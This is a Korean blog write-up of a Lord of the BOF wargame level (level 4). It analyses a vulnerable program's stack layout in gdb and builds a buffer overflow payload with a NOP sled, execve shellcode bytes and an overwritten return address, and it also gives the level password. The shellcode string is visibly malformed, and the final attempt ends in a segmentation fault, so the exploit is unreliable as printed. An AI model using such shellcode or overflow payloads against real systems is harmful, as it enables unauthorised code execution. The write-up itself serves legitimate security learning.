LOB Level 4.
pw = "hackers proof"
일단 버퍼의 크기가 40이다. 쉘 코드가 들어갈 수 있는 공간이다.
memset 통하여 환경 변수가 모두 초기화 됨을 확인.
환경 변수에 쉘 코드를 등록하여서 사용X, RTL도 사용 불가.
첫 번째 if 문은 많이 봐왔던 종료 구문. main함수의 argument가 없으면 종료되는 조건문. 주석으로 egghunter라고 달려있는 for문을 살펴보면, environ[i]를 0으로 menset 해주고 있다. environ은 환경 변수를 의미. 사용했던 환경 변수의 주소값을 알아내어 ret를 환경 변수의 주소로 덮어 씌우던 방법을 차단. 즉. 0xff - - - - - - -0x00 ~~
|env|argv|argc|ret|sfp|buf|
2번째 if문은 인자값으로 전해져 온 48번째 값이 \xbf가 맞는지 확인 한뒤 맞지 않으면,
해당 문자열을 출력시킨 뒤 종료.
즉 리틀 앤디안 = ret에 덮에 씌울 때 사용되는 4byte가 주소값 형태인 \xbf로 시작해야 한다는 말과 동일하게 받아들일 수 있다. 이 조건들이 충족되면 인자를 buffer를 복사.
(gdb) r 'python -c 'print "A"*47 +"\xbf"'' The program being debugged has been started already. Start it from the beginning ( y or n) y Starting program: /home/goblin/torc 'python -c 'print "A" * 47 + "\xbf"'' Breakpoint 2, 0x8048500 in main() (gdb) stepi 0x8048501 in main() (gdb) i reg $esp esp 0xbffffaf8 -1073743112 (gdb) i reg $ebp ebp 0xbffffb18 -1073743080 (gdb) x/100x $esp (gdb) x/s 0xbffffc37 0xbffffc37: "/home/goblin/torc"
일단 47개의 buf에 문자열을 넣고, 마지막 48번째 버퍼에 \xbf를 넣어 종료되지 않는 조건을 만족시킨다.
‘python –c ’print “A”*47+\xbf“’‘를 사용해서 main의 맨 처음에 breakpoint를 걸고 실행 시킨뒤 stepi로 한 줄을 실행시켰다. 실행시킨 구문은 push %ebp이다. esp와 ebp의 값을 확인한 뒤 esp의 주소부터 400byte(4 *100) 출력.
왼쪽부터 |sfp|ret|argc|argv 순서이다. 보면 argc가 2로 확인되며, argv의 주소는 0xbffffb44이다. 0xbffffb44에 가면 argv[0[와 argv[1]번째 주소가 들어있다. argv[0[째 주소를 확인해 보면, 파일의 경로가 정상적으로 나오는 걸 확인할 수 있다. 0xbffffc49이기 떄문에 0xbffffc48 주소의 맨 뒤에 00으로 표시되고(리틀 앤디안) 다음 49번째 주소부터 A(0x41)인걸 확인할 수 있다.
/ore 'python -c 'print "\x90" * 19 + "\x31\xc0\x31\xd2\x5x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x4c\xfc\xff\xbf"'' |NOP 코드(19) + 쉘 코드(25) + argv[1]의 19개의 NOP 코드 중 한 군데.
“\x90”가 들어갈 자리를 대충 생각해 0xbffffc4c 주소로 RET을 덮어썼더니, segmentation fault가 나오는 걸 확인.
'# Related site issues > LOB' 카테고리의 다른 글
LOB Level 6. (0) | 2018.03.28 |
---|---|
LOB Level 5. (0) | 2018.03.28 |
LOB Level 3. (0) | 2018.03.27 |
LOB Level 2. (0) | 2018.03.27 |
LOB Level 1. (0) | 2018.03.27 |